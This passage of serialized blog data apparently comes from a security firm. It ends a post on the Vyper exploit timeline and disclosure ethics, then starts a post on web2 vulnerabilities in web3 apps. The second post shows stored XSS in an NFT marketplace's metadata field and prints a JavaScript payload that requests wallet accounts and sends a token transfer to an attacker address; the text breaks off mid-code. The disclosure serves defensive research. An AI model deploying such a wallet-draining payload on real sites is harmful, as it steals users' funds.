drained",{"type":24,"tag":1978,"props":32831,"children":32832},{},[32833],{"type":24,"tag":69,"props":32834,"children":32836},{"href":31435,"ariaDescribedBy":32835,"dataFootnoteRef":7,"id":31437},[1985],[32837],{"type":29,"value":534},{"type":29,"value":226},{"type":24,"tag":850,"props":32840,"children":32842},{"id":32841},"blame",[32843],{"type":29,"value":32844},"Blame",{"type":24,"tag":25,"props":32846,"children":32847},{},[32848,32852],{"type":24,"tag":842,"props":32849,"children":32850},{},[32851],{"type":29,"value":32844},{"type":29,"value":32853}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":24,"tag":1019,"props":32855,"children":32857},{"id":32856},"races",[32858],{"type":29,"value":32859},"Races",{"type":24,"tag":25,"props":32861,"children":32862},{},[32863],{"type":29,"value":32864},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":24,"tag":25,"props":32866,"children":32867},{},[32868],{"type":29,"value":32869},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":24,"tag":25,"props":32871,"children":32872},{},[32873],{"type":29,"value":32874},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":24,"tag":1019,"props":32876,"children":32878},{"id":32877},"information-leakage",[32879],{"type":29,"value":32880},"Information Leakage",{"type":24,"tag":25,"props":32882,"children":32883},{},[32884],{"type":29,"value":32885},"I was both an auditor and a whitehat.",{"type":24,"tag":25,"props":32887,"children":32888},{},[32889,32891,32898],{"type":29,"value":32890},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":24,"tag":69,"props":32892,"children":32895},{"href":32893,"rel":32894},"https://twitter.com/osec_io/status/1579969927020412929",[73],[32896],{"type":29,"value":32897},"by publishing the \"scoop\"",{"type":29,"value":32899}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":24,"tag":25,"props":32901,"children":32902},{},[32903],{"type":29,"value":32904},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":24,"tag":25,"props":32906,"children":32907},{},[32908],{"type":29,"value":32909},"Half an hour more could have saved $18M.",{"type":24,"tag":25,"props":32911,"children":32912},{},[32913],{"type":29,"value":32914},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":24,"tag":850,"props":32916,"children":32918},{"id":32917},"next-steps",[32919],{"type":29,"value":32920},"Next Steps",{"type":24,"tag":25,"props":32922,"children":32923},{},[32924],{"type":29,"value":32925},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":24,"tag":25,"props":32927,"children":32928},{},[32929,32931,32938],{"type":29,"value":32930},"It's important to note that this bug ",{"type":24,"tag":69,"props":32932,"children":32935},{"href":32933,"rel":32934},"https://twitter.com/real_philogy/status/1685948253139857409",[73],[32936],{"type":29,"value":32937},"was patched since November 2021",{"type":29,"value":226},{"type":24,"tag":5339,"props":32940,"children":32941},{},[32942],{"type":24,"tag":25,"props":32943,"children":32944},{},[32945,32947,32952,32953,32956,32958,32963],{"type":29,"value":32946},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":24,"tag":842,"props":32948,"children":32949},{},[32950],{"type":29,"value":32951},"processes",{"type":29,"value":5057},{"type":24,"tag":32781,"props":32954,"children":32955},{},[],{"type":29,"value":32957},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":24,"tag":842,"props":32959,"children":32960},{},[32961],{"type":29,"value":32962},"was",{"type":29,"value":32964}," fixed.",{"type":24,"tag":25,"props":32966,"children":32967},{},[32968],{"type":29,"value":32969},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":24,"tag":4947,"props":32971,"children":32973},{"className":32972,"dataFootnotes":7},[4950],[32974,32979],{"type":24,"tag":850,"props":32975,"children":32977},{"className":32976,"id":1985},[4955],[32978],{"type":29,"value":4958},{"type":24,"tag":3100,"props":32980,"children":32981},{},[32982],{"type":24,"tag":3104,"props":32983,"children":32984},{"id":32178},[32985,32987],{"type":29,"value":32986},"Thankfully, these funds were later returned. ",{"type":24,"tag":69,"props":32988,"children":32990},{"href":32206,"ariaLabel":5061,"className":32989,"dataFootnoteBackref":7},[5063],[32991],{"type":29,"value":5066},{"type":24,"tag":5249,"props":32993,"children":32994},{},[32995],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":32997},[32998,32999,33003,33004],{"id":32273,"depth":200,"text":32276},{"id":32841,"depth":200,"text":32844,"children":33000},[33001,33002],{"id":32856,"depth":239,"text":32859},{"id":32877,"depth":239,"text":32880},{"id":32917,"depth":200,"text":32920},{"id":1985,"depth":200,"text":4958},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":33009,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33010,"description":33011,"author":33012,"image":33015,"date":33017,"isFeatured":16,"tags":33018,"onBlogPage":16,"body":33021,"_type":5270,"_id":37234,"_source":5272,"_file":37235,"_stem":37236,"_extension":5275},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[33013,33014],"caue","bruno",{"src":33016,"height":14,"width":14},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[33019,33020],"nft-marketplaces","xss",{"type":21,"children":33022,"toc":37217},[33023,33027,33032,33036,33041,33046,33051,33067,33073,33086,33108,33115,33120,33127,33132,33138,33143,33148,33153,33158,33169,33174,34143,34153,34165,34172,34177,34999,35004,35009,35014,35019,35803,35808,35890,35895,35964,35970,35975,35980,36207,36220,36225,36230,36235,36242,36247,36254,36260,36265,36270,36275,36594,36599,36605,36621,36627,36632,36637,36647,36652,36657,36666,36671,36677,36693,36706,36711,36716,36736,36743,36748,36755,36764,36769,36790,36843,36848,36899,36913,36918,36932,37047,37070,37154,37177,37182,37187,37192,37197,37202,37208,37213],{"type":24,"tag":850,"props":33024,"children":33025},{"id":30826},[33026],{"type":29,"value":30829},{"type":24,"tag":25,"props":33028,"children":33029},{},[33030],{"type":29,"value":33031},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":24,"tag":1019,"props":33033,"children":33034},{"id":5324},[33035],{"type":29,"value":5327},{"type":24,"tag":25,"props":33037,"children":33038},{},[33039],{"type":29,"value":33040},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":24,"tag":25,"props":33042,"children":33043},{},[33044],{"type":29,"value":33045},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":24,"tag":850,"props":33047,"children":33048},{"id":33020},[33049],{"type":29,"value":33050},"XSS",{"type":24,"tag":25,"props":33052,"children":33053},{},[33054],{"type":24,"tag":842,"props":33055,"children":33056},{},[33057,33059,33066],{"type":29,"value":33058},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":24,"tag":69,"props":33060,"children":33063},{"href":33061,"rel":33062},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[73],[33064],{"type":29,"value":33065},"even explain it to myself",{"type":29,"value":226},{"type":24,"tag":1019,"props":33068,"children":33070},{"id":33069},"managing-metadata",[33071],{"type":29,"value":33072},"Managing Metadata",{"type":24,"tag":25,"props":33074,"children":33075},{},[33076,33078,33085],{"type":29,"value":33077},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":24,"tag":69,"props":33079,"children":33082},{"href":33080,"rel":33081},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[73],[33083],{"type":29,"value":33084},"payloads",{"type":29,"value":226},{"type":24,"tag":25,"props":33087,"children":33088},{},[33089,33091,33098,33100,33106],{"type":29,"value":33090},"We showcase this vulnerability in the ",{"type":24,"tag":69,"props":33092,"children":33095},{"href":33093,"rel":33094},"https://rocki.com/",[73],[33096],{"type":29,"value":33097},"Rocki Marketplace",{"type":29,"value":33099},". The ",{"type":24,"tag":32,"props":33101,"children":33103},{"className":33102},[],[33104],{"type":29,"value":33105},"artistDescription",{"type":29,"value":33107}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":24,"tag":25,"props":33109,"children":33110},{},[33111],{"type":24,"tag":6301,"props":33112,"children":33114},{"alt":7,"src":33113},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":24,"tag":25,"props":33116,"children":33117},{},[33118],{"type":29,"value":33119},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":24,"tag":25,"props":33121,"children":33122},{},[33123],{"type":24,"tag":6301,"props":33124,"children":33126},{"alt":7,"src":33125},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":24,"tag":25,"props":33128,"children":33129},{},[33130],{"type":29,"value":33131},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":24,"tag":1019,"props":33133,"children":33135},{"id":33134},"wheres-my-wallet",[33136],{"type":29,"value":33137},"Where's My Wallet",{"type":24,"tag":25,"props":33139,"children":33140},{},[33141],{"type":29,"value":33142},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":24,"tag":25,"props":33144,"children":33145},{},[33146],{"type":29,"value":33147},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":24,"tag":25,"props":33149,"children":33150},{},[33151],{"type":29,"value":33152},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":24,"tag":25,"props":33154,"children":33155},{},[33156],{"type":29,"value":33157},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":24,"tag":33159,"props":33160,"children":33162},"div",{"style":33161},"display:flex; align-items:center; flex-direction:column;",[33163],{"type":24,"tag":6301,"props":33164,"children":33168},{"src":33165,"alt":33166,"style":33167},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":24,"tag":25,"props":33170,"children":33171},{},[33172],{"type":29,"value":33173},"And here we can find the code used to achieve it :",{"type":24,"tag":80,"props":33175,"children":33179},{"className":33176,"code":33177,"language":33178,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[33180],{"type":24,"tag":32,"props":33181,"children":33182},{"__ignoreMap":7},[33183,33200,33245,33274,33290,33353,33388,33413,33438,33445,33465,33473,33489,33501,33509,33526,33543,33551,33558,33574,33590,33597,33605,33622,33634,33641,33657,33673,33680,33687,33704,33711,33719,33726,33773,33780,33844,33851,33871,33887,33903,33924,33995,34011,34018,34025,34063,34071,34078,34085,34092,34113],{"type":24,"tag":90,"props":33184,"children":33185},{"class":92,"line":93},[33186,33191,33196],{"type":24,"tag":90,"props":33187,"children":33188},{"style":97},[33189],{"type":29,"value":33190},"function",{"type":24,"tag":90,"props":33192,"children":33193},{"style":108},[33194],{"type":29,"value":33195}," request",{"type":24,"tag":90,"props":33197,"children":33198},{"style":114},[33199],{"type":29,"value":2245},{"type":24,"tag":90,"props":33201,"children":33202},{"class":92,"line":200},[33203,33208,33212,33217,33222,33226,33231,33236,33241],{"type":24,"tag":90,"props":33204,"children":33205},{"style":636},[33206],{"type":29,"value":33207}," if",{"type":24,"tag":90,"props":33209,"children":33210},{"style":114},[33211],{"type":29,"value":1151},{"type":24,"tag":90,"props":33213,"children":33214},{"style":97},[33215],{"type":29,"value":33216},"typeof",{"type":24,"tag":90,"props":33218,"children":33219},{"style":136},[33220],{"type":29,"value":33221}," window",{"type":24,"tag":90,"props":33223,"children":33224},{"style":114},[33225],{"type":29,"value":226},{"type":24,"tag":90,"props":33227,"children":33228},{"style":136},[33229],{"type":29,"value":33230},"ethereum",{"type":24,"tag":90,"props":33232,"children":33233},{"style":120},[33234],{"type":29,"value":33235}," ===",{"type":24,"tag":90,"props":33237,"children":33238},{"style":1085},[33239],{"type":29,"value":33240}," 'undefined'",{"type":24,"tag":90,"props":33242,"children":33243},{"style":114},[33244],{"type":29,"value":1297},{"type":24,"tag":90,"props":33246,"children":33247},{"class":92,"line":239},[33248,33253,33257,33261,33265,33270],{"type":24,"tag":90,"props":33249,"children":33250},{"style":136},[33251],{"type":29,"value":33252}," console",{"type":24,"tag":90,"props":33254,"children":33255},{"style":114},[33256],{"type":29,"value":226},{"type":24,"tag":90,"props":33258,"children":33259},{"style":108},[33260],{"type":29,"value":1357},{"type":24,"tag":90,"props":33262,"children":33263},{"style":114},[33264],{"type":29,"value":117},{"type":24,"tag":90,"props":33266,"children":33267},{"style":1085},[33268],{"type":29,"value":33269},"'Please install MetaMask to use this feature.'",{"type":24,"tag":90,"props":33271,"children":33272},{"style":114},[33273],{"type":29,"value":571},{"type":24,"tag":90,"props":33275,"children":33276},{"class":92,"line":248},[33277,33282,33286],{"type":24,"tag":90,"props":33278,"children":33279},{"style":114},[33280],{"type":29,"value":33281}," } ",{"type":24,"tag":90,"props":33283,"children":33284},{"style":636},[33285],{"type":29,"value":2293},{"type":24,"tag":90,"props":33287,"children":33288},{"style":114},[33289],{"type":29,"value":269},{"type":24,"tag":90,"props":33291,"children":33292},{"class":92,"line":258},[33293,33298,33302,33307,33312,33317,33322,33327,33332,33337,33341,33345,33349],{"type":24,"tag":90,"props":33294,"children":33295},{"style":136},[33296],{"type":29,"value":33297}," ethereum",{"type":24,"tag":90,"props":33299,"children":33300},{"style":114},[33301],{"type":29,"value":226},{"type":24,"tag":90,"props":33303,"children":33304},{"style":108},[33305],{"type":29,"value":33306},"request",{"type":24,"tag":90,"props":33308,"children":33309},{"style":114},[33310],{"type":29,"value":33311},"({ ",{"type":24,"tag":90,"props":33313,"children":33314},{"style":136},[33315],{"type":29,"value":33316},"method:",{"type":24,"tag":90,"props":33318,"children":33319},{"style":1085},[33320],{"type":29,"value":33321}," 'eth_requestAccounts'",{"type":24,"tag":90,"props":33323,"children":33324},{"style":114},[33325],{"type":29,"value":33326}," }).",{"type":24,"tag":90,"props":33328,"children":33329},{"style":108},[33330],{"type":29,"value":33331},"then",{"type":24,"tag":90,"props":33333,"children":33334},{"style":114},[33335],{"type":29,"value":33336},"((",{"type":24,"tag":90,"props":33338,"children":33339},{"style":136},[33340],{"type":29,"value":1165},{"type":24,"tag":90,"props":33342,"children":33343},{"style":114},[33344],{"type":29,"value":172},{"type":24,"tag":90,"props":33346,"children":33347},{"style":97},[33348],{"type":29,"value":1315},{"type":24,"tag":90,"props":33350,"children":33351},{"style":114},[33352],{"type":29,"value":269},{"type":24,"tag":90,"props":33354,"children":33355},{"class":92,"line":272},[33356,33361,33366,33370,33375,33379,33383],{"type":24,"tag":90,"props":33357,"children":33358},{"style":97},[33359],{"type":29,"value":33360}," const",{"type":24,"tag":90,"props":33362,"children":33363},{"style":136},[33364],{"type":29,"value":33365}," fromAddress",{"type":24,"tag":90,"props":33367,"children":33368},{"style":120},[33369],{"type":29,"value":216},{"type":24,"tag":90,"props":33371,"children":33372},{"style":136},[33373],{"type":29,"value":33374}," accounts",{"type":24,"tag":90,"props":33376,"children":33377},{"style":114},[33378],{"type":29,"value":719},{"type":24,"tag":90,"props":33380,"children":33381},{"style":349},[33382],{"type":29,"value":6408},{"type":24,"tag":90,"props":33384,"children":33385},{"style":114},[33386],{"type":29,"value":33387},"];\n",{"type":24,"tag":90,"props":33389,"children":33390},{"class":92,"line":281},[33391,33395,33400,33404,33409],{"type":24,"tag":90,"props":33392,"children":33393},{"style":97},[33394],{"type":29,"value":33360},{"type":24,"tag":90,"props":33396,"children":33397},{"style":136},[33398],{"type":29,"value":33399}," attackerAddress",{"type":24,"tag":90,"props":33401,"children":33402},{"style":120},[33403],{"type":29,"value":216},{"type":24,"tag":90,"props":33405,"children":33406},{"style":1085},[33407],{"type":29,"value":33408}," '0x0000000000000000000000000000000000000000'",{"type":24,"tag":90,"props":33410,"children":33411},{"style":114},[33412],{"type":29,"value":381},{"type":24,"tag":90,"props":33414,"children":33415},{"class":92,"line":384},[33416,33420,33425,33429,33434],{"type":24,"tag":90,"props":33417,"children":33418},{"style":97},[33419],{"type":29,"value":33360},{"type":24,"tag":90,"props":33421,"children":33422},{"style":136},[33423],{"type":29,"value":33424}," contractAddress",{"type":24,"tag":90,"props":33426,"children":33427},{"style":120},[33428],{"type":29,"value":216},{"type":24,"tag":90,"props":33430,"children":33431},{"style":1085},[33432],{"type":29,"value":33433}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":24,"tag":90,"props":33435,"children":33436},{"style":114},[33437],{"type":29,"value":381},{"type":24,"tag":90,"props":33439,"children":33440},{"class":92,"line":420},[33441],{"type":24,"tag":90,"props":33442,"children":33443},{"emptyLinePlaceholder":16},[33444],{"type":29,"value":245},{"type":24,"tag":90,"props":33446,"children":33447},{"class":92,"line":428},[33448,33452,33457,33461],{"type":24,"tag":90,"props":33449,"children":33450},{"style":97},[33451],{"type":29,"value":10452},{"type":24,"tag":90,"props":33453,"children":33454},{"style":136},[33455],{"type":29,"value":33456}," tokenAbi",{"type":24,"tag":90,"props":33458,"children":33459},{"style":120},[33460],{"type":29,"value":216},{"type":24,"tag":90,"props":33462,"children":33463},{"style":114},[33464],{"type":29,"value":27430},{"type":24,"tag":90,"props":33466,"children":33467},{"class":92,"line":437},[33468],{"type":24,"tag":90,"props":33469,"children":33470},{"style":114},[33471],{"type":29,"value":33472}," {\n",{"type":24,"tag":90,"props":33474,"children":33475},{"class":92,"line":574},[33476,33481,33485],{"type":24,"tag":90,"props":33477,"children":33478},{"style":136},[33479],{"type":29,"value":33480}," constant:",{"type":24,"tag":90,"props":33482,"children":33483},{"style":97},[33484],{"type":29,"value":11431},{"type":24,"tag":90,"props":33486,"children":33487},{"style":114},[33488],{"type":29,"value":748},{"type":24,"tag":90,"props":33490,"children":33491},{"class":92,"line":606},[33492,33497],{"type":24,"tag":90,"props":33493,"children":33494},{"style":136},[33495],{"type":29,"value":33496}," inputs:",{"type":24,"tag":90,"props":33498,"children":33499},{"style":114},[33500],{"type":29,"value":27430},{"type":24,"tag":90,"props":33502,"children":33503},{"class":92,"line":615},[33504],{"type":24,"tag":90,"props":33505,"children":33506},{"style":114},[33507],{"type":29,"value":33508}," {\n",{"type":24,"tag":90,"props":33510,"children":33511},{"class":92,"line":623},[33512,33517,33522],{"type":24,"tag":90,"props":33513,"children":33514},{"style":136},[33515],{"type":29,"value":33516}," name:",{"type":24,"tag":90,"props":33518,"children":33519},{"style":1085},[33520],{"type":29,"value":33521}," '_to'",{"type":24,"tag":90,"props":33523,"children":33524},{"style":114},[33525],{"type":29,"value":748},{"type":24,"tag":90,"props":33527,"children":33528},{"class":92,"line":632},[33529,33534,33539],{"type":24,"tag":90,"props":33530,"children":33531},{"style":136},[33532],{"type":29,"value":33533}," type:",{"type":24,"tag":90,"props":33535,"children":33536},{"style":1085},[33537],{"type":29,"value":33538}," 'address'",{"type":24,"tag":90,"props":33540,"children":33541},{"style":114},[33542],{"type":29,"value":748},{"type":24,"tag":90,"props":33544,"children":33545},{"class":92,"line":669},[33546],{"type":24,"tag":90,"props":33547,"children":33548},{"style":114},[33549],{"type":29,"value":33550}," },\n",{"type":24,"tag":90,"props":33552,"children":33553},{"class":92,"line":683},[33554],{"type":24,"tag":90,"props":33555,"children":33556},{"style":114},[33557],{"type":29,"value":33508},{"type":24,"tag":90,"props":33559,"children":33560},{"class":92,"line":737},[33561,33565,33570],{"type":24,"tag":90,"props":33562,"children":33563},{"style":136},[33564],{"type":29,"value":33516},{"type":24,"tag":90,"props":33566,"children":33567},{"style":1085},[33568],{"type":29,"value":33569}," '_value'",{"type":24,"tag":90,"props":33571,"children":33572},{"style":114},[33573],{"type":29,"value":748},{"type":24,"tag":90,"props":33575,"children":33576},{"class":92,"line":751},[33577,33581,33586],{"type":24,"tag":90,"props":33578,"children":33579},{"style":136},[33580],{"type":29,"value":33533},{"type":24,"tag":90,"props":33582,"children":33583},{"style":1085},[33584],{"type":29,"value":33585}," 'uint256'",{"type":24,"tag":90,"props":33587,"children":33588},{"style":114},[33589],{"type":29,"value":748},{"type":24,"tag":90,"props":33591,"children":33592},{"class":92,"line":782},[33593],{"type":24,"tag":90,"props":33594,"children":33595},{"style":114},[33596],{"type":29,"value":33550},{"type":24,"tag":90,"props":33598,"children":33599},{"class":92,"line":791},[33600],{"type":24,"tag":90,"props":33601,"children":33602},{"style":114},[33603],{"type":29,"value":33604}," ],\n",{"type":24,"tag":90,"props":33606,"children":33607},{"class":92,"line":799},[33608,33613,33618],{"type":24,"tag":90,"props":33609,"children":33610},{"style":136},[33611],{"type":29,"value":33612}," name:",{"type":24,"tag":90,"props":33614,"children":33615},{"style":1085},[33616],{"type":29,"value":33617}," 'transfer'",{"type":24,"tag":90,"props":33619,"children":33620},{"style":114},[33621],{"type":29,"value":748},{"type":24,"tag":90,"props":33623,"children":33624},{"class":92,"line":807},[33625,33630],{"type":24,"tag":90,"props":33626,"children":33627},{"style":136},[33628],{"type":29,"value":33629}," outputs:",{"type":24,"tag":90,"props":33631,"children":33632},{"style":114},[33633],{"type":29,"value":27430},{"type":24,"tag":90,"props":33635,"children":33636},{"class":92,"line":821},[33637],{"type":24,"tag":90,"props":33638,"children":33639},{"style":114},[33640],{"type":29,"value":33508},{"type":24,"tag":90,"props":33642,"children":33643},{"class":92,"line":6278},[33644,33648,33653],{"type":24,"tag":90,"props":33645,"children":33646},{"style":136},[33647],{"type":29,"value":33516},{"type":24,"tag":90,"props":33649,"children":33650},{"style":1085},[33651],{"type":29,"value":33652}," ''",{"type":24,"tag":90,"props":33654,"children":33655},{"style":114},[33656],{"type":29,"value":748},{"type":24,"tag":90,"props":33658,"children":33659},{"class":92,"line":11420},[33660,33664,33669],{"type":24,"tag":90,"props":33661,"children":33662},{"style":136},[33663],{"type":29,"value":33533},{"type":24,"tag":90,"props":33665,"children":33666},{"style":1085},[33667],{"type":29,"value":33668}," 'bool'",{"type":24,"tag":90,"props":33670,"children":33671},{"style":114},[33672],{"type":29,"value":748},{"type":24,"tag":90,"props":33674,"children":33675},{"class":92,"line":11438},[33676],{"type":24,"tag":90,"props":33677,"children":33678},{"style":114},[33679],{"type":29,"value":33550},{"type":24,"tag":90,"props":33681,"children":33682},{"class":92,"line":11483},[33683],{"type":24,"tag":90,"props":33684,"children":33685},{"style":114},[33686],{"type":29,"value":33604},{"type":24,"tag":90,"props":33688,"children":33689},{"class":92,"line":11589},[33690,33695,33700],{"type":24,"tag":90,"props":33691,"children":33692},{"style":136},[33693],{"type":29,"value":33694}," type:",{"type":24,"tag":90,"props":33696,"children":33697},{"style":1085},[33698],{"type":29,"value":33699}," 'function'",{"type":24,"tag":90,"props":33701,"children":33702},{"style":114},[33703],{"type":29,"value":748},{"type":24,"tag":90,"props":33705,"children":33706},{"class":92,"line":25306},[33707],{"type":24,"tag":90,"props":33708,"children":33709},{"style":114},[33710],{"type":29,"value":27182},{"type":24,"tag":90,"props":33712,"children":33713},{"class":92,"line":25341},[33714],{"type":24,"tag":90,"props":33715,"children":33716},{"style":114},[33717],{"type":29,"value":33718}," ];\n",{"type":24,"tag":90,"props":33720,"children":33721},{"class":92,"line":25349},[33722],{"type":24,"tag":90,"props":33723,"children":33724},{"emptyLinePlaceholder":16},[33725],{"type":29,"value":245},{"type":24,"tag":90,"props":33727,"children":33728},{"class":92,"line":25357},[33729,33733,33738,33742,33747,33752,33756,33761,33765,33769],{"type":24,"tag":90,"props":33730,"children":33731},{"style":97},[33732],{"type":29,"value":33360},{"type":24,"tag":90,"props":33734,"children":33735},{"style":136},[33736],{"type":29,"value":33737}," web3",{"type":24,"tag":90,"props":33739,"children":33740},{"style":120},[33741],{"type":29,"value":216},{"type":24,"tag":90,"props":33743,"children":33744},{"style":97},[33745],{"type":29,"value":33746}," new",{"type":24,"tag":90,"props":33748,"children":33749},{"style":108},[33750],{"type":29,"value":33751}," Web3",{"type":24,"tag":90,"props":33753,"children":33754},{"style":114},[33755],{"type":29,"value":117},{"type":24,"tag":90,"props":33757,"children":33758},{"style":136},[33759],{"type":29,"value":33760},"window",{"type":24,"tag":90,"props":33762,"children":33763},{"style":114},[33764],{"type":29,"value":226},{"type":24,"tag":90,"props":33766,"children":33767},{"style":136},[33768],{"type":29,"value":33230},{"type":24,"tag":90,"props":33770,"children":33771},{"style":114},[33772],{"type":29,"value":571},{"type":24,"tag":90,"props":33774,"children":33775},{"class":92,"line":25366},[33776],{"type":24,"tag":90,"props":33777,"children":33778},{"emptyLinePlaceholder":16},[33779],{"type":29,"value":245},{"type":24,"tag":90,"props":33781,"children":33782},{"class":92,"line":25408},[33783,33787,33792,33796,33800,33804,33808,33813,33817,33822,33826,33831,33835,33840],{"type":24,"tag":90,"props":33784,"children":33785},{"style":97},[33786],{"type":29,"value":33360},{"type":24,"tag":90,"props":33788,"children":33789},{"style":136},[33790],{"type":29,"value":33791}," tokenContract",{"type":24,"tag":90,"props":33793,"children":33794},{"style":120},[33795],{"type":29,"value":216},{"type":24,"tag":90,"props":33797,"children":33798},{"style":97},[33799],{"type":29,"value":33746},{"type":24,"tag":90,"props":33801,"children":33802},{"style":136},[33803],{"type":29,"value":33737},{"type":24,"tag":90,"props":33805,"children":33806},{"style":114},[33807],{"type":29,"value":226},{"type":24,"tag":90,"props":33809,"children":33810},{"style":136},[33811],{"type":29,"value":33812},"eth",{"type":24,"tag":90,"props":33814,"children":33815},{"style":114},[33816],{"type":29,"value":226},{"type":24,"tag":90,"props":33818,"children":33819},{"style":108},[33820],{"type":29,"value":33821},"Contract",{"type":24,"tag":90,"props":33823,"children":33824},{"style":114},[33825],{"type":29,"value":117},{"type":24,"tag":90,"props":33827,"children":33828},{"style":136},[33829],{"type":29,"value":33830},"tokenAbi",{"type":24,"tag":90,"props":33832,"children":33833},{"style":114},[33834],{"type":29,"value":133},{"type":24,"tag":90,"props":33836,"children":33837},{"style":136},[33838],{"type":29,"value":33839},"contractAddress",{"type":24,"tag":90,"props":33841,"children":33842},{"style":114},[33843],{"type":29,"value":571},{"type":24,"tag":90,"props":33845,"children":33846},{"class":92,"line":25441},[33847],{"type":24,"tag":90,"props":33848,"children":33849},{"emptyLinePlaceholder":16},[33850],{"type":29,"value":245},{"type":24,"tag":90,"props":33852,"children":33853},{"class":92,"line":25449},[33854,33858,33863,33867],{"type":24,"tag":90,"props":33855,"children":33856},{"style":97},[33857],{"type":29,"value":33360},{"type":24,"tag":90,"props":33859,"children":33860},{"style":136},[33861],{"type":29,"value":33862}," transactionObject",{"type":24,"tag":90,"props":33864,"children":33865},{"style":120},[33866],{"type":29,"value":216},{"type":24,"tag":90,"props":33868,"children":33869},{"style":114},[33870],{"type":29,"value":269},{"type":24,"tag":90,"props":33872,"children":33873},{"class":92,"line":25457},[33874,33879,33883],{"type":24,"tag":90,"props":33875,"children":33876},{"style":136},[33877],{"type":29,"value":33878}," from:",{"type":24,"tag":90,"props":33880,"children":33881},{"style":136},[33882],{"type":29,"value":33365},{"type":24,"tag":90,"props":33884,"children":33885},{"style":114},[33886],{"type":29,"value":748},{"type":24,"tag":90,"props":33888,"children":33889},{"class":92,"line":25466},[33890,33895,33899],{"type":24,"tag":90,"props":33891,"children":33892},{"style":136},[33893],{"type":29,"value":33894}," to:",{"type":24,"tag":90,"props":33896,"children":33897},{"style":136},[33898],{"type":29,"value":33424},{"type":24,"tag":90,"props":33900,"children":33901},{"style":114},[33902],{"type":29,"value":748},{"type":24,"tag":90,"props":33904,"children":33905},{"class":92,"line":25542},[33906,33911,33915,33919],{"type":24,"tag":90,"props":33907,"children":33908},{"style":136},[33909],{"type":29,"value":33910}," 